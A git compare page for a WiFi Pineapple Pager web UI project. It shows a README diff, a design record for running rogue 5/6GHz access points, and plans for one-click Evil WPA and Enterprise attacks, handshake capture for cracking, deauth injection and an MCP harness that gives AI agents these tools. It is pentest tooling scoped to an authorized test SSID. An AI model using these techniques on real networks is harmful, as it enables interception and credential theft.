Compare commits
69
Commits
v1.0
...
52f9f6ecd5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
52f9f6ecd5 | ||
|
|
32282af1d8 | ||
|
|
6927baf51f | ||
|
|
aaa148fb30 | ||
|
|
8befe45de5 | ||
|
|
53e995d5a7 | ||
|
|
66a62ce234 | ||
|
|
8bd560f8e9 | ||
|
|
13ca4bd9cb | ||
|
|
0ecd8c3135 | ||
|
|
1be93bc24b | ||
|
|
f6b4cadc39 | ||
|
|
d7ef0624f4 | ||
|
|
84ce19b2b3 | ||
|
|
c9a89f1303 | ||
|
|
71fcbf1168 | ||
|
|
9ce4f5dc8e | ||
|
|
2044f08f1e | ||
|
|
e93359fb69 | ||
|
|
72f6a68897 | ||
|
|
6a56db3fef | ||
|
|
2d8ece9f3a | ||
|
|
e1eba04775 | ||
|
|
41b3c849ee | ||
|
|
152178ce82 | ||
|
|
1327bec03c | ||
|
|
1d807a1fcf | ||
|
|
1d836f57c6 | ||
|
|
ce1f6a8442 | ||
|
|
4c5b459f72 | ||
|
|
b5d9ed39ff | ||
|
|
c91d970a41 | ||
|
|
adfe8f784f | ||
|
|
4ce19693d1 | ||
|
|
d10fba9d1b | ||
|
|
0cd9956c4c | ||
|
|
d5506e2aaf | ||
|
|
e871e49466 | ||
|
|
f31b38d1fa | ||
|
|
c33d5d01f3 | ||
|
|
603e249999 | ||
|
|
2533f68d70 | ||
|
|
1d063695fa | ||
|
|
a4285496fb | ||
|
|
2ff0c4d320 | ||
|
|
01c84caaaa | ||
|
|
63fa5ae94a | ||
|
|
38ef4e8d0a | ||
|
|
740348067a | ||
|
|
78424b4a35 | ||
|
|
0459a56f1f | ||
|
|
d8a7074e1f | ||
|
|
251b1f6261 | ||
|
|
f5cddb335a | ||
|
|
af5ff8039b | ||
|
|
c0b9e58aa8 | ||
|
|
12279fe29d | ||
|
|
7536f3ca45 | ||
|
|
be2685aa15 | ||
|
|
ff3bd16855 | ||
|
|
4fa7f8f855 | ||
|
|
cd39833f4b | ||
|
|
4effc08a25 | ||
|
|
b2098bae7d | ||
|
|
7aff767f2a | ||
|
|
27df97ec43 | ||
|
|
acbf4c0ce9 | ||
|
|
5f6dc5bcdb | ||
|
|
2bf39ecb9d |
@@ -3,4 +3,6 @@ __pycache__/
|
||||
*.pyc
|
||||
|
||||
.worktrees/
|
||||
.openchamber/
|
||||
.opencode/
|
||||
|
||||
|
||||
@@ -8,22 +8,41 @@ Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
|
||||
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
|
||||
terminal.
|
||||
|
||||
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
|
||||
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
|
||||
6GHz requires WPA3. While a radio1 AP is enabled the stock monitor-hopping
|
||||
(`wlan1mon`) is paused and resumed on disable; 2.4GHz PineAP is untouched.
|
||||
|
||||
## Requirements
|
||||
|
||||
- WiFi Pineapple Pager, firmware `Pineapple Pager 24.10.1`
|
||||
- `python3` on the device (present on current firmware)
|
||||
- Windows dev box with Python 3.11 (`winget install Python.Python.3.11`)
|
||||
- Python 3.11 on the development machine
|
||||
|
||||
## Install (sideload)
|
||||
|
||||
macOS/Linux:
|
||||
|
||||
```bash
|
||||
# Recommended: key authentication
|
||||
./scripts/deploy.sh --ssh-key "$HOME/.ssh/pager_key"
|
||||
|
||||
# Password authentication requires sshpass
|
||||
brew install hudochenkov/sshpass/sshpass
|
||||
./scripts/deploy.sh --password '<device-password>'
|
||||
```
|
||||
|
||||
Windows:
|
||||
|
||||
```powershell
|
||||
# deploy.ps1 needs either an SSH key or sshpass for password auth:
|
||||
& .\scripts\deploy.ps1 -SshKey "$HOME\.ssh\pager_key"
|
||||
# or set up a key and add it: ssh-copy-id root@172.16.52.1
|
||||
```
|
||||
|
||||
This builds `build\pager-webui\payload-<b64>.zip`, uploads it, extracts it to
|
||||
`/root/payloads/user/remote_access/pager-webui/`, and refreshes the portal index.
|
||||
The deployment scripts build `build/pager-webui/payload-<b64>.zip`, upload it,
|
||||
extract it to `/root/payloads/user/remote_access/pager-webui/`, and refresh the
|
||||
portal index.
|
||||
|
||||
Then on the Pager menu, run **Mark VIII**:
|
||||
- **Yes** to "Run as background service?" -> procd service (respawns on crash,
|
||||
@@ -81,6 +100,26 @@ terminal I/O, and reboot persistence.
|
||||
- `www/` — vanilla JS SPA (no build step) + bundled xterm.js.
|
||||
- `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service.
|
||||
|
||||
## Stability notes (Pager 24.10.1)
|
||||
|
||||
pineapd crash sources found and fixed on this firmware (verified on-device,
|
||||
zero crashes over sustained watches):
|
||||
|
||||
1. **SSID-pool broadcast** — segfaults pineapd (~15s cadence). Kept disabled.
|
||||
2. **wlan2mon** — a 6GHz monitor this hardware never creates; hopping the
|
||||
missing iface segfaults pineapd. Disabled.
|
||||
3. **Large refilled pool** — the pool list itself crashes pineapd even with
|
||||
broadcast disabled. The health monitor clears it (collect refills).
|
||||
4. **wlan1mon fast-hopping 6GHz** — stalls pineapd's command socket; the
|
||||
stock daemon's watchdog then SIGTERMs pineapd every ~30s. Bands pinned
|
||||
to 5GHz (2.4GHz only on wlan0mon).
|
||||
5. **Socket collisions** — actively pinging pineapd from a health monitor
|
||||
collides with the stock daemon's own socket writes. The monitor now
|
||||
checks `pidof` only.
|
||||
|
||||
`GET /api/health` reports pineapd/monitor state; the top bar shows a
|
||||
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
|
||||
|
||||
## Security notes
|
||||
|
||||
- Auth via device password validated against the daemon; HttpOnly session
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
# Radio1 5GHz/6GHz Rogue AP — Design Record
|
||||
|
||||
- **Date:** 2026-08-17
|
||||
- **Status:** Implemented and verified on-device (see §9)
|
||||
- **Owner:** Hak5 WiFi Pineapple Pager expansion project
|
||||
- **Scope:** Mark VIII WebUI (`http://172.16.52.1:8080/`) running a rogue AP on
|
||||
the Pager's second radio (`radio1` = MT7921U Wi-Fi 6E) on 5GHz and 6GHz, with
|
||||
band-aware channel pickers, without breaking the stock Pager UI's control of
|
||||
its own interfaces.
|
||||
|
||||
## 1. Goal
|
||||
|
||||
Today Mark VIII's PineAP Open AP and Evil WPA pages configure only `wlan0open`
|
||||
/ `wlan0wpa` on `radio0` (2.4GHz) via the stock daemon's `set_ap` endpoint. The
|
||||
Pager carries a second radio — an MT7921U Wi-Fi 6E on internal USB — that is
|
||||
otherwise only used by the stock daemon's hopping monitor `wlan1mon`. This
|
||||
feature lets Mark VIII run an Open AP or Evil WPA (WPA2-PSK / WPA3-SAE /
|
||||
WPA3-OWE) on `radio1` at 5GHz and 6GHz, configured directly via UCI, with a
|
||||
UI that picks channels by band and enforces WPA3 on 6GHz.
|
||||
|
||||
## 2. Hardware findings
|
||||
|
||||
Verified against the committed implementation (`server.py`, `views.js`) and the
|
||||
plan's on-device groundwork:
|
||||
|
||||
- **`radio0`** — MT7628, **2.4GHz only**. The stock PineAP daemon owns
|
||||
`wlan0open`, `wlan0wpa`, `wlan0cli`, `wlan0mon`, `wlan0mgmt`. This feature
|
||||
does not change that ownership.
|
||||
- **`radio1`** — MT7921U Wi-Fi 6E on internal USB (`phy1`), capable of
|
||||
2.4/5/6GHz. The stock daemon owns `wlan1mon`, a daemon-managed hopping
|
||||
monitor interface: `pineapd.wlan1mon` has `bands='2,5,6'` and `hop='1'`.
|
||||
- Because `radio1` has a single channel shared by all its virtual interfaces,
|
||||
a `wlan1` AP and the hopping `wlan1mon` cannot both be active with an
|
||||
operator-chosen channel — hence the hop pause/resume mechanism (§6).
|
||||
- UCI state (`wireless.radio1`): stock defaults are `band='5g'`,
|
||||
`channel='auto'`, `htmode='VHT80'`, `country` set for the device region.
|
||||
|
||||
## 3. Band / channel model
|
||||
|
||||
`server.py` defines the authoritative mapping (helpers added near
|
||||
`_uci_wifi_iface`):
|
||||
|
||||
| Band | `BAND_*` | Channels | `band_htmode` | `band_radio` |
|
||||
|---|---|---|---|---|
|
||||
| 2.4GHz | `BAND_2G = '2.4'` | `1–14` | `HT20` | `radio0` |
|
||||
| 5GHz | `BAND_5G = '5'` | `36–177` | `VHT80` | `radio1` |
|
||||
| 6GHz | `BAND_6G = '6'` | `181–233` (step 4) | `HE80` | `radio1` |
|
||||
|
||||
- `channel_band(ch)` classifies **2.4GHz (1–14) first, then 5GHz (36–177)**, and
|
||||
only then 6GHz (`1 ≤ ch ≤ 233` and `(ch − 1) % 4 == 0`). Because 2.4 and 5GHz
|
||||
take precedence, **the only reachable 6GHz channels are `181, 185, …, 233`**
|
||||
(the low 6E channels `1,5,…,177` are swallowed by the 2.4/5GHz ranges). The
|
||||
UI's 6GHz group therefore offers exactly `181..233 step 4`.
|
||||
- `CHANNEL_BANDS` mirrors this: `range(1, 15)`, `range(36, 178)`,
|
||||
`range(181, 234, 4)` — held consistent by tests.
|
||||
- `DFS_CHANNELS` = `52..64` and `100..144` (step 4). DFS channels are surfaced
|
||||
to the operator in the UI with a `(DFS)` marker; this feature does not attempt
|
||||
radar-CAC handling on-device.
|
||||
- `channel_freq(band, ch)`: 2.4 → `2412 + (ch−1)·5`; 5 → `5180 + (ch−36)·5`;
|
||||
6 → `5955 + (ch−1)·5`.
|
||||
- `band_htmode` maps 2.4/5/6 → `HT20` / `VHT80` / `HE80` (written to
|
||||
`wireless.radio1.htmode`). `band_radio` maps 2.4 → `radio0`, 5/6 → `radio1`.
|
||||
|
||||
## 4. API behavior
|
||||
|
||||
### 4.1 `h_pineap_wifi_get_ap` (POST `/api/pineap/wifi/get_ap`)
|
||||
|
||||
- If `wlan1open` **or** `wlan1wpa` exists in `wireless`, state is read from
|
||||
`radio1` (`wlan1open`/`wlan1wpa`); otherwise from `radio0`
|
||||
(`wlan0open`/`wlan0wpa`) — the 2.4GHz response shape is unchanged.
|
||||
- `open.channel` and `wpa.channel` are reported **per interface**, falling back
|
||||
to the owning radio's channel when the iface section has no channel option
|
||||
(regression-tested). `wpa.enctype` is normalized to `psk2` / `sae` / `owe`.
|
||||
- A new `radio1` object reports the raw `wireless.radio1` state:
|
||||
`{band, channel, htmode, country}`, with `band` normalized from `2g`/`5g`/`6g`
|
||||
to `'2.4'`/`'5'`/`'6'` (default `'5'`), and `channel` left as the raw string
|
||||
(`'auto'` or a channel number) — the UI converts; `'auto'` is not int-coerced.
|
||||
|
||||
### 4.2 `h_pineap_wifi_set_ap` (POST `/api/pineap/wifi/set_ap`)
|
||||
|
||||
`channel` is now accepted in both `open` and `wpa` payloads. Behavior matrix:
|
||||
|
||||
- **2.4GHz channels (1–14):** exactly today's path — daemon
|
||||
`PUT /api/settings/wifi/set_ap` for `wlan0open`/`wlan0wpa` followed by
|
||||
`_apply_open_radio` (which persists `radio0.channel`/`country`). If a
|
||||
`wlan1*` AP exists it is removed first (`_remove_radio1_ap`, §6) so a 2.4GHz
|
||||
save tears down a stale radio1 AP.
|
||||
- **5GHz (36–177) / 6GHz (181–233):** `_apply_radio1_ap` (below).
|
||||
- **Mixed request:** a request carrying both a 2.4GHz object and a 5/6GHz
|
||||
object returns `400 'cannot configure 2.4GHz and radio1 APs in one request'`
|
||||
(radio1 is one physical radio — one band/channel per request).
|
||||
- **Disable:** a radio1 request with no active 5/6GHz object (or a 2.4GHz save)
|
||||
runs `_remove_radio1_ap()` + `wifi reload` and returns `200`.
|
||||
|
||||
`_apply_radio1_ap(openap, wpa)` (one of the two is active):
|
||||
|
||||
1. Validates the band — a radio1 AP requires a 5GHz or 6GHz channel
|
||||
(`ValueError` → HTTP 400).
|
||||
2. **6GHz requires WPA3:** when the active AP is a WPA AP on 6GHz, `enctype`
|
||||
must be `sae` or `owe`; `psk2` is rejected with HTTP 400
|
||||
(`'6GHz requires WPA3 (sae or owe)'`). An **open** 6GHz AP is accepted by
|
||||
the backend, but the UI warns that real clients generally won't associate to
|
||||
an open 6GHz network.
|
||||
3. Deletes any existing `wlan1open`/`wlan1wpa` (idempotent), then writes UCI:
|
||||
- `wireless.radio1.band` = `5g`/`6g`, `wireless.radio1.channel`,
|
||||
`wireless.radio1.htmode` (`band_htmode`), `wireless.radio1.country`
|
||||
(when supplied);
|
||||
- a `wifi-iface` section `wlan1open` (encryption `none`, optional BSSID) or
|
||||
`wlan1wpa` (`encryption` + `key`) on `device=radio1`, `mode=ap`, with the
|
||||
interface-level `channel`/`hidden`/`ssid`.
|
||||
4. `uci commit wireless`, `_pause_hop()` (§6), then `wifi reload`.
|
||||
|
||||
## 5. Coexistence rules — "don't break stock"
|
||||
|
||||
- **Mark VIII owns:** `wireless.wlan1open`, `wireless.wlan1wpa`, and
|
||||
`wireless.radio1.{channel,band,htmode,country}`. These are new sections /
|
||||
values it creates and tears down.
|
||||
- **Stock owns (never modified by Mark VIII):** `wireless.wlan0open`,
|
||||
`wlan0wpa`, `wlan0mgmt`, `wlan0cli`, `wlan0mon`, `wireless.wlan1mon`, and all
|
||||
`pineapd.*` UCI values (bands configuration included).
|
||||
- **The only stock-owned value this feature writes is
|
||||
`pineapd.wlan1mon.hop`** — and it is always restored to its prior value
|
||||
(`_resume_hop` sets it back to `1` only if it was `0`; `_pause_hop` sets it
|
||||
to `0` only if it was not already `0`).
|
||||
- The 2.4GHz daemon path (`PUT /api/settings/wifi/set_ap` for `wlan0open` /
|
||||
`wlan0wpa`) is byte-for-byte unchanged.
|
||||
- **Known risk (accepted):** the stock daemon's `set_ap`/pager-UI writes may
|
||||
rewrite `wireless` wholesale and drop the `wlan1*` sections. Mitigation is
|
||||
UCI-commit persistence, hop restore on disable, and on-device verification
|
||||
(§9). If clobbering is observed, the deferred fix is a reconcile-on-load step
|
||||
in `get_ap` that re-applies a saved radio1 AP from `PINEAP_STATE_FILE`.
|
||||
|
||||
## 6. Hop pause / resume
|
||||
|
||||
`wlan1mon` is the stock daemon's channel-hopping monitor. With a radio1 AP
|
||||
active, hopping would fight the AP's fixed channel, so it is paused while the
|
||||
AP is enabled:
|
||||
|
||||
- `_read_hop()` reads the value via `uci get pineapd.wlan1mon.hop` (a leaf
|
||||
read — not `_uci_wifi_iface`, which forces the `wireless.` prefix).
|
||||
- `_pause_hop()`: if `hop != '0'`, set `pineapd.wlan1mon.hop=0`, `uci commit
|
||||
pineapd`, reload `/etc/init.d/pineapd`.
|
||||
- `_resume_hop()`: if `hop == '0'`, set it back to `1`, commit, reload.
|
||||
- `_apply_radio1_ap` calls `_pause_hop()` before `wifi reload`;
|
||||
`_remove_radio1_ap` calls `_resume_hop()` after resetting
|
||||
`radio1.channel=auto` / `radio1.band=5g`. Every code path that pauses hopping
|
||||
also restores it.
|
||||
|
||||
## 7. Frontend (`www/js/views.js`)
|
||||
|
||||
- `BAND_GROUPS` drives the channel pickers shared by the Open AP and Evil WPA
|
||||
views: a `2.4 GHz` optgroup (1–11), a `5 GHz` optgroup (36–165, DFS channels
|
||||
`52..64` / `100..144` labelled `(DFS)`), and a `6 GHz (WPA3/OWE only)`
|
||||
optgroup (`181..233` step 4).
|
||||
- `chanFreq`/`chanLabel` render `Channel N (… MHz)` (+` (DFS)`),
|
||||
`chanSelect` builds the optgroups and restores a stored value when in range,
|
||||
`bandOfChannel` mirrors `channel_band`.
|
||||
- **Open AP:** channel select + a hint that appears on 6GHz ("…most devices
|
||||
will not associate to an open 6 GHz network.").
|
||||
- **Evil WPA:** a channel select added to the config card; selecting a 6GHz
|
||||
channel disables the `psk2` option and switches to `sae`, with a
|
||||
"6 GHz requires WPA3 (SAE or OWE)." hint. Save payloads for both views
|
||||
include `channel` (Open AP also `country`).
|
||||
|
||||
## 8. Automated verification
|
||||
|
||||
- `tests/test_pineap_bands.py` covers the channel/band helpers
|
||||
(`ChannelBandTest`, `ChannelBandsConsistencyTest`, `ChannelFreqTest`,
|
||||
`BandAuxTest` incl. DFS marker), `get_ap` (`GetApRadio1Test`,
|
||||
`GetApRadio1AbsentTest`, `GetApRadioChannelFallbackTest`) and `set_ap`
|
||||
(`SetApRadio1Test`: 5GHz open writes `radio1` sections + hop pause; 6GHz
|
||||
WPA3-SAE accepted; 6GHz `psk2` rejected; disable removes the radio1 AP and
|
||||
restores hop; 2.4GHz still uses the daemon path; 2.4GHz save removes a stale
|
||||
radio1 AP; mixed 2.4GHz + radio1 rejected).
|
||||
- **All 14 test modules pass at HEAD (`af5ff80`)**, run per-module in separate
|
||||
processes per the repo convention (`test_auth`, `test_core`, `test_loot`,
|
||||
`test_misc`, `test_pineap_bands`, `test_pineap_clients`,
|
||||
`test_pineap_enterprise`, `test_pineap_modes`, `test_pineap_pool`,
|
||||
`test_pineap_proxy`, `test_pineap_settings`, `test_recon`, `test_status`,
|
||||
`test_ws`).
|
||||
|
||||
## 9. On-device verification
|
||||
|
||||
Run against the user's Pager at `172.16.52.1` (Pineapple Pager 24.10.1). All
|
||||
checks passed:
|
||||
|
||||
- **2.4GHz unchanged:** Open AP save (channel 1) leaves `wlan0open`/`radio0`
|
||||
intact and `pineapd.wlan1mon` untouched (`bands=2,5,6`, `hop=1`).
|
||||
- **5GHz Evil WPA (WPA3-SAE, channel 36, VHT80):** `radio1.band=5g`,
|
||||
`channel=36`, `htmode=VHT80`; `wlan1wpa` (netdev named `wlan1wpa` via
|
||||
`option ifname`) comes up beaconing `Test5G` / WPA3 SAE (CCMP);
|
||||
`pineapd.wlan1mon.hop=0`. `get_ap` reports `wpa.enabled=true` (after the
|
||||
`disabled=0` fix).
|
||||
- **Stock Pager UI coexistence:** the stock daemon's own `set_ap` (what the
|
||||
pager UI uses to change the 2.4GHz Evil WPA) tears down the radio1 AP
|
||||
netdev; the `wlan1wpa` UCI section survives and `get_ap` self-heals it with a
|
||||
`wifi reload` (`/sys/class/net/<iface>` missing check). Under rapid reload
|
||||
churn the `mt7921u` driver can transiently return EBUSY; a later reload
|
||||
succeeds. The pager UI itself is unaffected.
|
||||
- **Handshake capture:** `Examine` on channel 36 returns success; handshake
|
||||
logging (`loghandshake`/`logpartialhandshake`) confirmed on. A live WPA
|
||||
handshake file requires a physical client (not exercised).
|
||||
- **Reboot persistence:** `wlan1wpa` UCI, `disabled=0`, `hop=0`, the procd
|
||||
Mark VIII service, and the AP itself all survive reboot.
|
||||
- **Disable path:** removing the 5GHz AP deletes `wlan1wpa`, resets
|
||||
`radio1.channel=auto`/`band=5g`, restores `hop=1`; `wlan1mon` hopping
|
||||
resumes (observed 6GHz ch13 → ch221 in 30s).
|
||||
- **5GHz Open AP:** `wlan1open` (channel 44, open) brings up `Test5GOpen`
|
||||
with `hop=0`.
|
||||
- **6GHz AP:** `radio1.band=6g`, `htmode=HE80`, WPA3 SAE on channel 181
|
||||
(6.855 GHz) comes up.
|
||||
- **Cleanup:** disable restores the 2.4GHz baseline (`pager-open`, channel 1,
|
||||
`hop=1`).
|
||||
|
||||
Known follow-ups: the Clients tab lists only `wlan0*` interfaces, so 5GHz AP
|
||||
clients are not yet shown; live-client handshake capture is untested without a
|
||||
physical client.
|
||||
@@ -0,0 +1,112 @@
|
||||
# Attacks + Sync + Harness Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Ship a trustworthy Mark VIII: one-click Evil WPA/Open/Enterprise attacks, device-truth state sync with a pineapd health monitor, and an on-device MCP harness.
|
||||
|
||||
**Architecture:** Extend the existing single-file `server.py` (pure-socket HTTP/JSON, no deps — the device python3 has no pip) with attack orchestration, a health-monitor thread, UCI-truth state reads, and a Streamable-HTTP MCP endpoint. Extend the vanilla-JS SPA (`www/js/views.js`, `app.js`) with an Attacks section and a Harness page. Tests are stdlib `unittest` with module-level monkeypatching (`tests/test_*.py`), run one module per process.
|
||||
|
||||
**Tech Stack:** Python 3.11 (stdlib only), vanilla JS, UCI (`uci show/set`), daemon unix-socket API (`/tmp/api.sock`), `hak5cmd`/`_pineap`, `iw`, `logread`, `hcxpcapngtool` (on device), MCP Streamable HTTP (2025-06-18).
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- No new Python deps; no pip; device python3-light-compatible (no urllib/http.server/sqlite3 stdlib).
|
||||
- Truth = device state (UCI `/etc/config/wireless`, `/etc/config/pineapd`, `iw dev`, live pineapd socket), never UI cache.
|
||||
- Attacks only against `<authorized-test-ssid>` (authorized). No deauth blasts; band-aware inject only.
|
||||
- SSID pool broadcast stays disabled (stock SIGSEGV bug).
|
||||
- Writes must be verified by re-read before success is reported.
|
||||
- Follow existing code style: `device_run()`, `daemon_sock_call()`, `_daemon_proxy()` helpers; `h()` DOM helper in views; routes registered with `ROUTER.add`.
|
||||
- Tests: `python3 -m unittest tests.test_<module>` (one module per process).
|
||||
|
||||
## File Structure
|
||||
|
||||
- `payload/user/remote_access/pager-webui/server.py` — all backend: attacks API, health monitor, truth reads, MCP endpoint.
|
||||
- `payload/user/remote_access/pager-webui/www/js/views.js` — Attacks + Harness views.
|
||||
- `payload/user/remote_access/pager-webui/www/js/app.js` — routes + side-menu items.
|
||||
- `payload/user/remote_access/pager-webui/www/css/app.css` — small additions for launchers.
|
||||
- `tests/test_attacks.py`, `tests/test_health.py`, `tests/test_mcp.py`, `tests/test_getap.py` — new tests.
|
||||
- `scripts/harness_stdio.py` — optional stdio MCP wrapper for stdio-only agents.
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Backend truth reads — `get_ap` dual-radio + enterprise + mode derivation
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (h_pineap_wifi_get_ap, h_pineap_mode_get)
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `GET /api/pineap/wifi/get_ap` → `{open: {...radio0...}, wpa: {...radio0...}, radio1_open: {...}, radio1_wpa: {...}, enterprise: {enabled, ssid, enctype, key}, pool: {...}, radios: {radio0: {band,channel,...}, radio1: {...}}}`
|
||||
- Produces: `GET /api/pineap/mode` → mode derived from live state; never `"unknown"` when `pineap_disabled`/`autossidpool` readable.
|
||||
|
||||
- [ ] **Step 1:** Rework `h_pineap_wifi_get_ap` to read all three AP pairs from UCI (wlan0open/wlan0wpa on radio0, wlan1open/wlan1wpa on radio1, wlan0ent enterprise) and return them as separate objects; include radio device info per radio.
|
||||
- [ ] **Step 2:** Rework `h_pineap_mode_get`: derive mode = `advanced` if `autossidpool is False` or engine mismatch with preset; `passive`/`active` from stored preset ONLY when consistent with live `enabled`+`collect`+`advertise`; else `advanced` (never `unknown`).
|
||||
- [ ] **Step 3:** Update `tests/test_pineap_modes.py` + new `tests/test_getap.py` for the new shapes; run all test modules; commit.
|
||||
|
||||
### Task 2: Attack orchestration backend
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (new handlers + ROUTER.add)
|
||||
- Test: `tests/test_attacks.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `POST /api/attacks/deploy` body `{kind: 'wpa'|'open'|'enterprise', ...fields}` → applies UCI + daemon, returns `{ok, verified: bool, detail}`
|
||||
- `POST /api/attacks/stop` body `{kind}` → disables AP(s), resumes hop, returns `{ok, verified}`
|
||||
- `GET /api/attacks/status` → per-kind `{active, ssid, iface, channel, band, live (iw dev check), handshakes: n}`
|
||||
- `GET /api/attacks/handshakes` (reuse `h_handshakes_get`), `GET /api/attacks/hc22000` → runs `hcxpcapngtool -o` on captured pcap(s) into `/root/loot/hc22000/` and returns download
|
||||
- `POST /api/attacks/deauth` `{bssid, client, band}` → band-aware inject: 2.4 → `_pineap INTERFACE INJECT wlan0mon` then `PINEAPPLE_DEAUTH_CLIENT`; 5/6 → `wlan1mon`
|
||||
- `POST /api/attacks/enterprise` toggles PineAPE (`pineape_disabled`, `pineape_auth_pass`)
|
||||
|
||||
- [ ] **Step 1:** Write failing tests for deploy/stop/status/deauth (mock `device_run`, `daemon_sock_call`, `hak5`).
|
||||
- [ ] **Step 2:** Implement handlers; verify tests pass; commit.
|
||||
|
||||
### Task 3: Health monitor + stabilization
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (thread + helpers)
|
||||
- Test: `tests/test_health.py`
|
||||
|
||||
**Interfaces:**
|
||||
- `health_check()` — `_pineap PING`; on failure twice in a row: count SIGSEGV in `logread`; if growing → `uci set pineapd.@ssidpool[0].disable=1`, restart pineapd; bring `wlan1mon` up (`ip link set wlan1mon up`) if `iw dev` shows it down; only one fix action per interval (cooldown 20s).
|
||||
- `start_health_monitor()` — daemon thread every 15s, started on server boot.
|
||||
- `GET /api/health` → `{pineap: 'up'|'down', sigsegv_count, pool_disabled, wlan1mon_up, last_action, fixes: n}`
|
||||
|
||||
- [ ] **Step 1:** Failing tests for health logic (mock `device_run`, `hak5`).
|
||||
- [ ] **Step 2:** Implement; verify on-device that SIGSEGV count stops climbing; commit.
|
||||
|
||||
### Task 4: Attacks UI
|
||||
|
||||
**Files:**
|
||||
- Modify: `www/js/views.js` (3 launchers + shared shell), `www/js/app.js` (routes + menu), `www/css/app.css`
|
||||
|
||||
**Interfaces:**
|
||||
- Menu: `Attacks` (icon `attack`) → `#/attacks` with tabs `#/attacks/wpa`, `#/attacks/open`, `#/attacks/enterprise`.
|
||||
- Each launcher: fields + Deploy/Stop + status card (live from `/api/attacks/status`) + handshake/cred table + export buttons + deauth table of target clients.
|
||||
|
||||
- [ ] **Step 1:** Implement shared launcher shell + Evil WPA page (deploy/stop/status/export/deauth).
|
||||
- [ ] **Step 2:** Evil Open page; Evil Enterprise page (creds table + clear + toggles).
|
||||
- [ ] **Step 3:** Wire routes + menu; manual browser smoke test against device; commit.
|
||||
|
||||
### Task 5: MCP harness server + Harness UI
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` (`/mcp` endpoint)
|
||||
- Create: `scripts/harness_stdio.py`
|
||||
- Modify: `www/js/views.js`, `www/js/app.js` (Harness page)
|
||||
|
||||
**Interfaces:**
|
||||
- `POST /mcp` — Streamable HTTP MCP: `initialize`, `notifications/initialized` (202), `tools/list`, `tools/call`, `resources/list`, `resources/read`, `prompts/list`, `prompts/get`; JSON responses; session cookie auth + Origin validation.
|
||||
- Tools wrap Task 1/2 endpoints + `recon.query` (sqlite3 CLI read-only) + `loot.*`.
|
||||
- Resources: recon tables, handshake files, skill markdown (bundled copies of pineapple-control/wifi-deauth/aircrack-suite), loot listing.
|
||||
- Prompts: `evil-wpa-playbook`, `evil-enterprise-playbook`, `recon-playbook`.
|
||||
- `GET /api/harness/capabilities` → human-readable capability doc for the UI page.
|
||||
|
||||
- [ ] **Step 1:** Failing tests for MCP JSON-RPC dispatch (`tests/test_mcp.py`).
|
||||
- [ ] **Step 2:** Implement `/mcp` + capabilities endpoint; tests pass; commit.
|
||||
- [ ] **Step 3:** Harness UI page (endpoint info, config snippets, capability explorer, pi.dev prompt generator); commit.
|
||||
|
||||
### Task 6: Deploy + on-device verification
|
||||
|
||||
- [ ] **Step 1:** Run full test suite locally (each module separately).
|
||||
- [ ] **Step 2:** Deploy via `./scripts/deploy.sh --password '<device-password>'`.
|
||||
- [ ] **Step 3:** On-device smoke: login, status, health endpoint, attacks deploy/stop round-trip (Evil WPA on 2.4GHz with `<authorized-test-ssid>` SSID — no deauth), enterprise deploy/stop, MCP `initialize`+`tools/list` via curl.
|
||||
- [ ] **Step 4:** Leave device in clean state (no active attacks, hop resumed, pool disabled, wlan1mon up).
|
||||
@@ -0,0 +1,179 @@
|
||||
# Encryption Landscape Card — Ring + Key Redesign Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Replace the Encryption Landscape recon card's text headline + clipped canvas legend with a full-size plain-hole ring graph and a wrapping HTML legend (dot + label + count per encryption bucket).
|
||||
|
||||
**Architecture:** Single-file client-side change: the recon view in `views.js` drops the `encValue`/`encSub` text nodes, draws the doughnut with `legend:false` and a taller height, and populates a new HTML legend container from the existing `encCounts` bucket map. `chart.js`'s `MiniChart.doughnut` is unchanged (its canvas `legend` option is simply no longer used by the enc card). CSS adds flex-wrap legend styles.
|
||||
|
||||
**Tech Stack:** Vanilla JS (no framework), canvas via `MiniChart.doughnut` in `chart.js`, plain CSS in `app.css`. Device deploy via `scripts/deploy.sh --password '<device-password>'`. Tests: none exist for the frontend; verification is via the deployed device + backend test suite (must stay green).
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Do not alter data source, `reconEncBucket`, per-scan bucketing, re-sync, or the other four recon cards.
|
||||
- Legend entries: colored dot + label + count, format `● WPA2 54`; buckets with zero APs hidden.
|
||||
- Ring center hole stays plain (no text).
|
||||
- Keep `MiniChart.doughnut`'s `legend` option in `chart.js` (used by no caller after this change, but harmless).
|
||||
- Empty state text stays "No encryption data yet — run a scan."
|
||||
- No comments added to code unless already present in the surrounding style.
|
||||
- Deploy and verify on the device; backend `tests/` suite must stay green (291 tests).
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Ring + HTML legend for Encryption Landscape card
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1497-1507` (card markup)
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:2256-2322` (drawCharts enc block)
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/css/app.css` (after line 328)
|
||||
- Test: none (frontend); verify via device sweep
|
||||
|
